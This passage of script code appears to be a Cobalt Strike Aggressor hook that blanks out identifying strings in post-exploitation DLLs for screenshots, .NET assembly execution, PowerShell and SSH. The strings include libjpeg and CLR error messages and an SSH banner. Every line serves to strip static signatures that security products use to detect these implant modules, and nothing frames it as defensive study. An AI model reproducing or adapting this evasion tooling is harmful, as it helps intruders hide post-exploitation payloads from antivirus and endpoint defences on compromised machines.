$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Application transferred too many scanlines", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus message code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "ALIGN_TYPE is wrong, please fix", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "MAX_ALLOC_CHUNK is wrong, please fix", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus buffer control mode", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid component ID", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "in SOS", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid crop request", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "DCT coefficient out of range", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "DCT scaled block size", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "not supported", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Component index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "mismatching sampling ratio", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus Huffman table definition", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus input colorspace", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus JPEG colorspace", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus marker length", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Wrong JPEG library version: library is", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "caller expects", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Sampling factors too large for interleaved scan", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid memory pool code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unsupported JPEG data precision", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid progressive parameters", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid progressive parameters at scan script entry", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus sampling factors", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid scan script at entry", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Improper call to JPEG library in state", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JPEG parameter struct mismatch: library thinks size is", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", caller expects", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus virtual array access", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Buffer passed to JPEG library is too small", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Suspension not allowed here", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "CCIR601 sampling not implemented yet", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Too many color components:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", ", max", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Unsupported color conversion request", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus DAC index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus DAC value", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus DHT index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Bogus DQT index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Empty JPEG image (DNL not supported)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Read from EMS failed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Write to EMS failed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Didn't expect more than one scan", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Input file read error", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Output file write error --- out of disk space?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Fractional sampling not implemented yet", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Huffman code size table overflow", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Missing Huffman code table entry", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Maximum supported image dimension is", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", " pixels", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Empty input file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Premature end of input file", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Cannot transcode due to multiple use of quantization table", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Scan script does not transmit all data", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Invalid color quantization mode change", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Not implemented yet", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Requested feature was omitted at compile time", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Arithmetic table 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "was not defined", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Backing store not supported", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "Huffman table", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/screenshot.x64.dll", "JPEG datastream contains no image", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "ICLRMetaHost::GetRuntime", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "invokeassembly.x64.dll", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", ".NET runtime [ver", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "] cannot be loaded", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] No .NET runtime found. :(", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] get_EntryPoint failed.", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] GetParameters failed.", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] Invoke_3 on EntryPoint failed.", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] Failed to create the runtime host", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] CLR failed to start w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] ICorRuntimeHost::GetDefaultDomain failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] Failed to get default AppDomain w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "Could not find signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "Could not fix signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "function :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "[-] Patch index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", " error setting memory protection", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "loading library", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "getting proc address for:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "error re-setting memory protection", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/invokeassembly.x64.dll", "bad exception", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not find signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "powershell.x64.dll", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not fix signature in the", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "function:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Patch index", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "error setting memory protection", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "error re-setting memory protection", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "loading library", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "getting proc address:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not find .NET 4.0 API CLRCreateInstance", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "CLRCreateInstance failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "ICLRMetaHost::GetRuntime (v4.0.30319) failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", ".NET runtime [ver", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "] cannot be loaded", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "ICLRRuntimeInfo::GetInterface failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Could not find API CorBindToRuntime", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "CorBindToRuntime failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Did not understand ver:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to invoke IsAlive w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "SafeArrayPutElement failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to invoke InvokePS w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to create the runtime host", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "CLR failed to start w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "ICorRuntimeHost::GetDefaultDomain failed w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to get default AppDomain w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to load the assembly w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "Failed to get the Type interface w/hr 0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/powershell.x64.dll", "bad allocation", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Error allocating space for remote banner", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Received Banner:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "SSH-2.0-libssh2_1.8.0", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", " bytes at", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Unable to allocate memory for local banner", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Setting local Banner:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "API timeout expired", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Timed out waiting on socket", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Error waiting on socket", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Bad socket provided", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Failed changing socket's blocking state to non-blocking", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Failed sending banner", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Failed getting banner", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Unable to exchange encryption keys", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/sshagent.x64.dll", "Unable to ask for ssh-userauth service", "");